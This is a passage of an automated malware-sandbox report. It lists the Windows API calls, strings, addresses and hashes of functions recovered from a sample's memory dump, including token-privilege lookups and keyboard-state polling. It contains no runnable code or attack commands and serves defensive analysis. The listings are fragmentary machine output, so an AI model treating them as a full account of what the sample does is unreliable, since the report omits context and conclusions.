                              • Instruction ID: 4b94e37398fb4c0e8bf176de98e3888209b69965db7f8e5b86c8cb252d1f017b
                              • Opcode Fuzzy Hash: 5127d0ffcd17cb1bef4f2f1971358f36b919fc832d8745dd5c7fc1032c5585dd
                              • Instruction Fuzzy Hash: EB5106716043119BD700DF18DC85FAF77A5EB89310F04492EF941973A2DB789D49CBAA
                              APIs
                              • ExtractIconExW.SHELL32(?,?,00000000,?,00000001), ref: 0046FD8A
                              • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001,004A83D8,?), ref: 0046FDF0
                              • SendMessageW.USER32(?,00001109,00000000,00000000), ref: 0046FE0E
                              • ImageList_ReplaceIcon.COMCTL32(?,000000FF,?,004A83D8,?), ref: 0046FE20
                              • SendMessageW.USER32(?,0000113E,00000000,?), ref: 0046FEA5
                              • SendMessageW.USER32(?,0000113F,00000000,?), ref: 0046FEDF
                              • GetClientRect.USER32(?,?), ref: 0046FEF2
                              • RedrawWindow.USER32(?,?,00000000,00000000), ref: 0046FF02
                              • DestroyIcon.USER32(?), ref: 0046FFCC
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: IconMessageSend$ImageList_$ClientCreateDestroyExtractRectRedrawReplaceWindow
                              • String ID: 2
                              • API String ID: 1331449709-450215437
                              • Opcode ID: 0839cb131ab93339cce718f32a9fb856b385d6e902e652cc812f2dbbb554e4d7
                              • Instruction ID: e79942d1a0196d9b5e30c5c178d8ccafd59c9ae1e7fac48b8759c586c5a3b44e
                              • Opcode Fuzzy Hash: 0839cb131ab93339cce718f32a9fb856b385d6e902e652cc812f2dbbb554e4d7
                              • Instruction Fuzzy Hash: EB51AC702043019FD320CF44D885BAABBE5FB88700F04487EE684872A2D7B5A849CB5A
                              APIs
                              • DestroyWindow.USER32(?,?,?,?,?,?,00000000,static,00000000,00000000,?,?,00000000,00000000,?,00000000), ref: 00450EE1
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: DestroyWindow
                              • String ID: static
                              • API String ID: 3375834691-2160076837
                              • Opcode ID: 88f11647011456fbb04f7235260bd1d02a964e72c1c4e3b3fb6640230c73d37f
                              • Instruction ID: 4605c95b1b006c90d65e271c0fdf07f62d21d56273c2870bf7f2e3decf5281c5
                              • Opcode Fuzzy Hash: 88f11647011456fbb04f7235260bd1d02a964e72c1c4e3b3fb6640230c73d37f
                              • Instruction Fuzzy Hash: 4531B572200300BBD7109B64DC45F6BB3A8EBC9711F204A2EFA50D72C0D7B4E8048B69
                              APIs
                              • GetCurrentProcess.KERNEL32(00000008,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00439409
                              • OpenThreadToken.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?), ref: 0043940C
                              • GetCurrentProcess.KERNEL32(00000008,?,?,?,?,?,?,?,?,?,?), ref: 0043941D
                              • OpenProcessToken.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?), ref: 00439420
                              • LookupPrivilegeValueW.ADVAPI32(00000000,SeAssignPrimaryTokenPrivilege,?), ref: 0043945B
                              • LookupPrivilegeValueW.ADVAPI32(00000000,SeIncreaseQuotaPrivilege,?), ref: 00439474
                              • _memcmp.LIBCMT ref: 004394A9
                              • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004394F8
                              Strings
                              • SeAssignPrimaryTokenPrivilege, xrefs: 00439455
                              • SeIncreaseQuotaPrivilege, xrefs: 0043946A
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Process$CurrentLookupOpenPrivilegeTokenValue$CloseHandleThread_memcmp
                              • String ID: SeAssignPrimaryTokenPrivilege$SeIncreaseQuotaPrivilege
                              • API String ID: 1446985595-805462909
                              • Opcode ID: 7b5964ebc210eec24af21402e2b7f40e95def761f5b1447ed6d44f65f7ea18b7
                              • Instruction ID: 628aaead06b6f58e004e5b45c2ed9710a22b4d2b921ab75b424857e8fd72c9d6
                              • Opcode Fuzzy Hash: 7b5964ebc210eec24af21402e2b7f40e95def761f5b1447ed6d44f65f7ea18b7
                              • Instruction Fuzzy Hash: DB31A371508312ABC710DF21CD41AAFB7E8FB99704F04591EF98193240E7B8DD4ACBAA
                              APIs
                              • SetErrorMode.KERNEL32(00000001), ref: 0045D848
                              • GetDriveTypeW.KERNEL32(?,?), ref: 0045D8A3
                              • SetErrorMode.KERNEL32(?,00000001,00000000), ref: 0045D94A
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: ErrorMode$DriveType
                              • String ID: CDROM$Fixed$Network$RAMDisk$Removable$Unknown$HH
                              • API String ID: 2907320926-41864084
                              • Opcode ID: f2537af69be7bdfb8cd077d5fba63d09357e4425d7c4eca9e5473fe3d57dd33a
                              • Instruction ID: d4cab332979e247f8c2da9788294718902473fa09eb5ff996f03d25688ce9cbb
                              • Opcode Fuzzy Hash: f2537af69be7bdfb8cd077d5fba63d09357e4425d7c4eca9e5473fe3d57dd33a
                              • Instruction Fuzzy Hash: C7318B75A083008FC310EF65E48481EB7A1AFC8315F648D2FF945A7362C779D9068BAB
                              APIs
                              • SafeArrayAccessData.OLEAUT32(CE8B7824,?), ref: 004672E6
                              • SafeArrayUnaccessData.OLEAUT32(CE8B7824), ref: 0046735D
                              • SafeArrayAccessData.OLEAUT32(CE8B7824,?), ref: 00467375
                              • SafeArrayUnaccessData.OLEAUT32(CE8B7824), ref: 004673ED
                              • SafeArrayGetVartype.OLEAUT32(CE8B7824,?), ref: 00467418
                              • SafeArrayAccessData.OLEAUT32(CE8B7824,?), ref: 00467445
                              • SafeArrayUnaccessData.OLEAUT32(CE8B7824), ref: 0046746A
                              • SafeArrayUnaccessData.OLEAUT32(CE8B7824), ref: 00467559
                              • SafeArrayAccessData.OLEAUT32(CE8B7824,?), ref: 0046748A
                                • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                              • SafeArrayAccessData.OLEAUT32(CE8B7824,?), ref: 00467571
                              • SafeArrayUnaccessData.OLEAUT32(CE8B7824), ref: 004675E4
                                • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: ArraySafe$Data$AccessUnaccess$Exception@8ThrowVartype_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                              • String ID:
                              • API String ID: 1932665248-0
                              • Opcode ID: 16f99e80be173eecdd1bb573f6b7f825babaa5351af7cc3efc94bb11c862a2f8
                              • Instruction ID: 42a0e90c8bf2b482c85e144861ec280134e9fb1dbd9e00a0d693b148f8e5f150
                              • Opcode Fuzzy Hash: 16f99e80be173eecdd1bb573f6b7f825babaa5351af7cc3efc94bb11c862a2f8
                              • Instruction Fuzzy Hash: E8B1BF752082009FD304DF29C884B6B77E5FF98318F14496EE98587362E779E885CB6B
                              APIs
                              • SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00448182
                              • SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00448185
                              • GetWindowLongW.USER32(?,000000F0), ref: 004481A7
                              • _memset.LIBCMT ref: 004481BA
                              • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004481CC
                              • SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 0044824E
                              • SendMessageW.USER32(?,00001074,?,00000007), ref: 004482A4
                              • SendMessageW.USER32(?,00001057,00000000,00000000), ref: 004482BE
                              • SendMessageW.USER32(?,0000101D,00000001,00000000), ref: 004482E3
                              • SendMessageW.USER32(?,0000101E,00000001,00000000), ref: 004482FC
                              • SendMessageW.USER32(?,00001008,?,00000007), ref: 00448317
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: MessageSend$LongWindow_memset
                              • String ID:
                              • API String ID: 830647256-0
                              • Opcode ID: 45db6e2e50868ce621a7577b0335e91e45f99dc9c013701cc26792922a244152
                              • Instruction ID: 69fd08a602074ed3d664547bad3ac5a94a9e6c02d61aa1d07dc3907ec7ad0976
                              • Opcode Fuzzy Hash: 45db6e2e50868ce621a7577b0335e91e45f99dc9c013701cc26792922a244152
                              • Instruction Fuzzy Hash: 41616F70208341AFE310DF54C881FABB7A4FF89704F14465EFA909B2D1DBB5A945CB56
                              APIs
                                • Part of subcall function 0043343D: InvalidateRect.USER32(?,00000000,00000001), ref: 004334BE
                              • DestroyAcceleratorTable.USER32(?), ref: 0046EA9F
                              • ImageList_Destroy.COMCTL32(?), ref: 0046EB04
                              • ImageList_Destroy.COMCTL32(?), ref: 0046EB18
                              • ImageList_Destroy.COMCTL32(?), ref: 0046EB24
                              • DeleteObject.GDI32(00550000), ref: 0046EB4F
                              • DestroyIcon.USER32(00650073), ref: 0046EB67
                              • DeleteObject.GDI32(00000000), ref: 0046EB7F
                              • DestroyWindow.USER32(00520050), ref: 0046EB97
                              • DestroyIcon.USER32(?), ref: 0046EBBF
                              • DestroyIcon.USER32(?), ref: 0046EBCD
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Destroy$IconImageList_$DeleteObject$AcceleratorInvalidateRectTableWindow
                              • String ID:
                              • API String ID: 802431696-0
                              • Opcode ID: 294737084f3018da842919bbfa865d3a976cdf3ad66c8c89ec2250206a47d952
                              • Instruction ID: 42d633cefbe7d7192e7a113645d0a532909e6831d49db23f2259be933aabe8c6
                              • Opcode Fuzzy Hash: 294737084f3018da842919bbfa865d3a976cdf3ad66c8c89ec2250206a47d952
                              • Instruction Fuzzy Hash: 17513178600202DFDB14DF26D894E2A77E9FB4AB14B54446EE502CB361EB38EC41CB5E
                              APIs
                              • GetKeyboardState.USER32(?,?,?), ref: 00444D8A
                              • GetAsyncKeyState.USER32(000000A0), ref: 00444E0F
                              • GetKeyState.USER32(000000A0), ref: 00444E26
                              • GetAsyncKeyState.USER32(000000A1), ref: 00444E40
                              • GetKeyState.USER32(000000A1), ref: 00444E51
                              • GetAsyncKeyState.USER32(00000011), ref: 00444E69
                              • GetKeyState.USER32(00000011), ref: 00444E77
                              • GetAsyncKeyState.USER32(00000012), ref: 00444E8F
                              • GetKeyState.USER32(00000012), ref: 00444E9D
                              • GetAsyncKeyState.USER32(0000005B), ref: 00444EB5
                              • GetKeyState.USER32(0000005B), ref: 00444EC3
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: State$Async$Keyboard
                              • String ID:
                              • API String ID: 541375521-0
                              • Opcode ID: d4a73a67db12bad31d9fb613c99c8778707defbe90317bf640d05d8e99de570f
                              • Instruction ID: c605e69a62dfc64c618b97cb3a1930d242a0674024be490a091b983f03ece729
                              • Opcode Fuzzy Hash: d4a73a67db12bad31d9fb613c99c8778707defbe90317bf640d05d8e99de570f
                              • Instruction Fuzzy Hash: 6A41C3646087C52DFB31966484017E7FFD16FA2708F58844FD1C5067C2DBAEA9C8C7AA
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID:
                              • String ID: HH
                              • API String ID: 0-2761332787
                              • Opcode ID: a328fc3f0c2738e7ee23a6f39de9db46e7d7486e18f94bdfd929d974c39bc96d
                              • Instruction ID: 1932890218e454eaab518c2d08cf67ea4bcb6b95680f1d85a47b5a5cee1eebd3
                              • Opcode Fuzzy Hash: a328fc3f0c2738e7ee23a6f39de9db46e7d7486e18f94bdfd929d974c39bc96d
                              • Instruction Fuzzy Hash: 99A1A1726043009BD710EF65DC82B6BB3E9ABD4718F008E2EF558E7281D779E9448B5A
                              APIs
                              • SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 004508CB
                              • SendMessageW.USER32(?,00001036,00000000,?), ref: 004508DB
                              • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,00001036,00000000,?,000000FF,?,SysListView32,004848E8,00000000), ref: 004508FC
                              • _wcslen.LIBCMT ref: 00450944
                              • _wcscat.LIBCMT ref: 00450955
                              • SendMessageW.USER32(?,00001057,00000000,?), ref: 0045096C
                              • SendMessageW.USER32(?,00001061,?,?), ref: 0045099B
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: MessageSend$Window_wcscat_wcslen
                              • String ID: -----$SysListView32
                              • API String ID: 4008455318-3975388722
                              • Opcode ID: 1aeeed20face43e167d1a5b6966347104c1855cbe0e780de9d31d79ee612f7fa
                              • Instruction ID: 786a3889ee88f98d9b0e9b4b0e1dacf7018a6923f31dd28eeaa3c07ad082d1a6
                              • Opcode Fuzzy Hash: 1aeeed20face43e167d1a5b6966347104c1855cbe0e780de9d31d79ee612f7fa
                              • Instruction Fuzzy Hash: 17519470504340ABE330DB65C885FABB3E4AF84714F104E1EFA94972D3D6B99989CB65
                              APIs
                              • _memset.LIBCMT ref: 00448625
                              • CreateMenu.USER32 ref: 0044863C
                              • SetMenu.USER32(?,00000000), ref: 0044864C
                              • GetMenuItemInfoW.USER32(?,?,00000000,004A83D8), ref: 004486D6
                              • IsMenu.USER32(?), ref: 004486EB
                              • CreatePopupMenu.USER32 ref: 004486F5
                              • InsertMenuItemW.USER32(?,?,00000001,004A83D8), ref: 00448739
                              • DrawMenuBar.USER32 ref: 00448742
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Menu$CreateItem$DrawInfoInsertPopup_memset
                              • String ID: 0
                              • API String ID: 176399719-4108050209
                              • Opcode ID: 4add02930eb798c2c2cb68413aedc402262f89096725e95a36bc963f45c6c407
                              • Instruction ID: 98f94d81d6847d6484dd50bbdc77a0bd9f9f2d632c710d3394220f00cc789bef
                              • Opcode Fuzzy Hash: 4add02930eb798c2c2cb68413aedc402262f89096725e95a36bc963f45c6c407
                              • Instruction Fuzzy Hash: 86417675604201AFD700CF68D894A9BBBE4FF89314F14891EFA488B350DBB5A845CFA6
                              APIs
                                • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                              • SendMessageW.USER32(00000000,0000018C,000000FF,00000000), ref: 00469277
                              • GetDlgCtrlID.USER32(00000000), ref: 00469289
                              • GetParent.USER32 ref: 004692A4
                              • SendMessageW.USER32(00000000,?,00000111), ref: 004692A7
                              • GetDlgCtrlID.USER32(00000000), ref: 004692AE
                              • GetParent.USER32 ref: 004692C7
                              • SendMessageW.USER32(00000000,?,00000111,?), ref: 004692CA
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: MessageSend$CtrlParent$_wcslen
                              • String ID: ComboBox$ListBox
                              • API String ID: 2040099840-1403004172
                              • Opcode ID: d7a46b5f720fef199203ad69d051b39deebb3b2451f9d950c399d088bcf038a9
                              • Instruction ID: ef07326ddff4210f4741e87947fad3c2ec39ee11b6619cfdf8cc81125e1c6f8c
                              • Opcode Fuzzy Hash: d7a46b5f720fef199203ad69d051b39deebb3b2451f9d950c399d088bcf038a9
                              • Instruction Fuzzy Hash: BC21D6716002147BD600AB65CC45DBFB39CEB85324F044A1FF954A73D1DAB8EC0947B9
                              APIs
                                • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                              • SendMessageW.USER32(00000186,00000186,?,00000000), ref: 00469471
                              • GetDlgCtrlID.USER32(00000000), ref: 00469483
                              • GetParent.USER32 ref: 0046949E
                              • SendMessageW.USER32(00000000,?,00000111), ref: 004694A1
                              • GetDlgCtrlID.USER32(00000000), ref: 004694A8
                              • GetParent.USER32 ref: 004694C1
                              • SendMessageW.USER32(00000000,?,00000111,?), ref: 004694C4
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: MessageSend$CtrlParent$_wcslen
                              • String ID: ComboBox$ListBox
                              • API String ID: 2040099840-1403004172
                              • Opcode ID: 2e10f5a1695edfae3743bbe69767f09e04e95ab32c83142982b04f1cb5eb07ed
                              • Instruction ID: 434b10a17d45167e777e8ea6e726dd6ee4e01267e4a119798c8aa60e835c5cdc
                              • Opcode Fuzzy Hash: 2e10f5a1695edfae3743bbe69767f09e04e95ab32c83142982b04f1cb5eb07ed
                              • Instruction Fuzzy Hash: CA21D7756002147BD600BB29CC45EBFB39CEB85314F04492FF984A7291EABCEC0A4779
                              APIs
                                • Part of subcall function 004419ED: DeleteObject.GDI32(?), ref: 00441A53
                              • SendMessageW.USER32(769523D0,00001001,00000000,00000000), ref: 00448E73
                              • SendMessageW.USER32(769523D0,00001026,00000000,00000000), ref: 00448E7E
                                • Part of subcall function 00441A7A: CreateSolidBrush.GDI32 ref: 00441ACB
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: MessageSend$BrushCreateDeleteObjectSolid
                              • String ID:
                              • API String ID: 3771399671-0
                              • Opcode ID: 51f09a1d655476e15b4ab454a85655f186203ac899921849c361721d54d31972
                              • Instruction ID: ebbecaf0548398ae771b9aa28ebf0b72f134f9ffbbfb28b2279bd799396bd9e3
                              • Opcode Fuzzy Hash: 51f09a1d655476e15b4ab454a85655f186203ac899921849c361721d54d31972
                              • Instruction Fuzzy Hash: F4510930208300AFE2209F25DD85F6F77EAEB85B14F14091EF994E72D0CBB9E9458769
                              APIs
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: InitVariant$_malloc_wcscpy_wcslen
                              • String ID:
                              • API String ID: 3413494760-0
                              • Opcode ID: afb533e23b19910be0c027df8fa87fd227b592e7e5a0e6e969ae1a59b8da4157
                              • Instruction ID: 77b59fa0745152fd1b6386ccdd9ca850b9b7f4abb66e551d88b584249de3d357
                              • Opcode Fuzzy Hash: afb533e23b19910be0c027df8fa87fd227b592e7e5a0e6e969ae1a59b8da4157
                              • Instruction Fuzzy Hash: F83150B2600746AFC714DF7AC880996FBA8FF88310B44892EE64983641D735F554CBA5
                              APIs
                              • GetCurrentThreadId.KERNEL32 ref: 004377D7
                              • GetForegroundWindow.USER32(00000000,?,?,?,?,0045FDE0,?,?,00000001), ref: 004377EB
                              • GetWindowThreadProcessId.USER32(00000000), ref: 004377F8
                              • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,0045FDE0,?,?,00000001), ref: 00437809
                              • GetWindowThreadProcessId.USER32(?,00000001), ref: 00437819
                              • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,0045FDE0,?,?,00000001), ref: 0043782E
                              • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,0045FDE0,?,?,00000001), ref: 0043783D
